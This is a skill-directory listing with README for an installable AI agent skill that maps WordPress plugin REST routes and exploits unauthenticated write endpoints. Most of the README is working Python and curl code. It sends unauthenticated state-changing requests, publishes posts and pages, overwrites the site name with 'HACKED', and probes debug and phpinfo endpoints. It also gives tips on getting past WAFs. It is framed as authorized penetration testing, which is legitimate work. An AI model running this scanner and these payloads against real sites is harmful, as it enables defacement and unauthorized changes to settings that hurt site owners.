mcpField
W
wp-plugin-rest-auth-bypass

wp-plugin-rest-auth-bypass

github.com/uphiagoSecurity1.3k41 installsUpdated 8w ago
Repository

About wp-plugin-rest-auth-bypass

A security-testing skill for mapping WordPress plugin REST routes and checking for unauthenticated write endpoints. It guides authorized testers through validation of potential content, settings, and data exposure risks.

Key features

  1. 01Enumerate plugin REST namespaces and routes
  2. 02Identify unauthenticated write methods
  3. 03Probe endpoint responses and parameters
  4. 04Verify impact and document findings

Use cases

  1. 01Assess a WordPress site's plugin API during an authorized test
  2. 02Check whether plugin endpoints enforce authentication
  3. 03Validate suspected unauthorized publishing or settings changes

Install

Copy the command and run it in a terminal.

$npx skills add https://github.com/uphiago/recon-skills --skill wp-plugin-rest-auth-bypass

After installing, type/wp-plugin-rest-auth-bypassin Claude Code to confirm it loaded.

Details

From the project README

WordPress Plugin REST API — Auth Bypass

WordPress plugins register custom REST API routes at /wp-json/{namespace}/. Many plugin developers forget to add permission callbacks, leaving state-changing endpoints (POST/PUT/PATCH/DELETE) accessible to unauthenticated users. This skill enumerates all plugin routes, identifies write endpoints missing auth, and exploits them for content publishing, settings modification, and data leakage.

When to Use

  • Target is a WordPress site with exposed users via /wp-json/wp/v2/users.
  • You've found interesting plugin namespaces from /wp-json/ but need to map their routes.
  • Standard WordPress endpoints return 401 — but third-party plugin endpoints might not.
  • You want to find hidden admin URLs, debug endpoints, or unauthenticated write operations.

Prerequisites

  • python3 with requests library.
  • Target WordPress site URL.

Procedure

Phase 1 — Enumerate All Plugin Namespaces
curl --max-time 30 --connect-timeout 10 -sk "https://target.com/wp-json/" | python3 -c "
import sys, json
data = json.load(sys.stdin)
for ns in data.get('namespaces', []):
    print(ns)
"

Filter out standard WordPress namespaces to find third-party plugins:

Standard: oembed/1.0, wp/v2, wp-site-health/v1, wp-block-editor/v1
Plugins:  gpl/v1, sliderrevolution, yoast/v1, elementor/v1, wc/v3, gf/v2, ...
Phase 2 — Map All Routes for Each Plugin
import requests, json

BASE = "https://target.com"

# Get full route map
r = requests.get(f"{BASE}/wp-json/", timeout=10)
data = r.json()

for plugin_ns in ["gpl/v1", "gsf/v1", "sliderrevolution", "solidwp-mail/v1"]:
    r = requests.get(f"{BASE}/wp-json/{plugin_ns}/", timeout=10)
    if r.status_code == 200:
        routes = r.json().get('routes', {})
        for path, config in routes.items():
            methods = config.get('methods', [])
            args = list(config.get('endpoints', [{}])[0].get('args', {}).keys())
            print(f"  [{','.join(methods)}] {path}")
            if args:
                print(f"    Args: {args}")
Phase 3 — Identify State-Changing Endpoints (POST/PUT/PATCH/DELETE)
# Test each POST/PUT/PATCH endpoint without auth
for path, config in routes.items():
    methods = config.get('methods', [])
    for method in methods:
        if method in ['POST', 'PUT', 'PATCH', 'DELETE']:
            r = requests.request(method, f"{BASE}/wp-json{path}", json={}, timeout=10)
            if r.status_code == 200:
                print(f"  ⚠️ [{method}] {path}: {r.text[:300]}")

Key indicators that an endpoint is exploitable:

ResponseMeaning
"Post published" / "Success"Unauthenticated write confirmed
"Missing parameter: X"Endpoint works — just needs correct params
"Sorry, you are not allowed"Auth enforced — safe
"rest_forbidden"Auth enforced — safe
"rest_missing_callback_param"Endpoint works — probe with params
"Invalid action"Endpoint accepts input — find valid values
Phase 4 — Exploit Unauthenticated Endpoints

Content Publishing (most common):

# Try creating posts/pages/products
for post_type in ["post", "page", "product"]:
    r = requests.post(
        f"{BASE}/wp-json/{plugin_ns}/publish-builder-pro",
        json={"title": "Test", "post_type": post_type, "content": "test", "status": "publish"},
        timeout=10
    )
    if r.status_code == 200:
        print(f"  Created {post_type}: {r.json().get('post_url')}")

Settings Modification:

# Try modifying WordPress options
r = requests.post(
    f"{BASE}/wp-json/{plugin_ns}/update-options",
    json={"option_name": "blogname", "option_value": "HACKED"},
    timeout=10
)

Hidden Endpoint Discovery:

# Some plugins leak admin URLs or debug info
for endpoint in ["login-url", "status", "config", "debug", "phpinfo"]:
    r = requests.get(f"{BASE}/wp-json/{plugin_ns}/{endpoint}", timeout=10)
    if r.status_code == 200:
        print(f"  {endpoint}: {r.text[:200]}")

Quick Scan Script

import requests, json, sys

BASE = sys.argv[1] if len(sys.argv) > 1 else "https://target.com"

# Step 1: Get all plugin namespaces
r = requests.get(f"{BASE}/wp-json/", timeout=10)
ns_list = r.json().get('namespaces', [])
std = ['oembed', 'wp/v2', 'wp-site-health', 'wp-block-editor', 'wpcom']
plugins = [n for n in ns_list if not any(s in n for s in std)]

print(f"Plugins: {len(plugins)}")

for ns in plugins:
    r = requests.get(f"{BASE}/wp-json/{ns}/", timeout=10)
    if r.status_code != 200:
        continue
    routes = r.json().get('routes', {})
    
    for path, cfg in routes.items():
        methods = cfg.get('methods', [])
        for method in methods:
            if method not in ['POST', 'PUT', 'PATCH', 'DELETE']:
                continue
            
            # Test without auth
            r = requests.request(method, f"{BASE}/wp-json{path}", json={}, timeout=10)
            
            if r.status_code == 200:
                text = r.text.lower()
                if 'forbidden' not in text and 'not allowed' not in text and 'rest_cannot' not in text:
                    print(f"\n⚠️ UNPROTECTED: [{method}] {ns}{path}")
                    print(f"   {r.text[:300]}")
                    
                    # Try common payloads
                    for payload in [
                        {"title": "test", "content": "test", "status": "publish", "post_type": "page"},
                        {"title": "test", "content": "test", "post_type": "post"},
                        {"title": "test", "content": "test", "post_type": "product"},
                    ]:
                        r2 = requests.request(method, f"{BASE}/wp-json{path}", json=payload, timeout=10)
                        if 'published' in r2.text.lower() or 'created' in r2.text.lower() or 'success' in r2.text.lower():
                            print(f"   ✅ {r2.text[:200]}")
                            break

Pitfalls

  • 401 vs 400: A 401 means auth is enforced. A 400 with "Missing parameter" means the endpoint IS accessible but needs correct arguments.
  • JSON parsing: Some plugins return JSON as a string (double-encoded). Check r.text before r.json().
  • Rate limiting: Rapid testing may trigger security plugins. Space requests 1-2s apart.
  • WAF interference: Cloudflare or Wordfence may block POST requests to certain paths. Try with different Content-Type headers.
  • Post type validation: Some endpoints validate post_type against registered types. Try post, page, product, attachment, and custom types.
  • Clean up test data: If you create content during testing, delete it if possible. If the plugin has no unauthenticated DELETE, note that cleanup requires manual intervention.

Verification

  • The endpoint MUST accept state-changing operations (POST/PUT/PATCH/DELETE) without returning 401.
  • Success MUST be confirmed by visiting the created content URL or checking the response.
  • For settings modification, verify the change took effect by reading the setting post-exploitation.
  • Document the exact payload, endpoint path, HTTP method, and response for reproducibility.

Comments

Markdown supported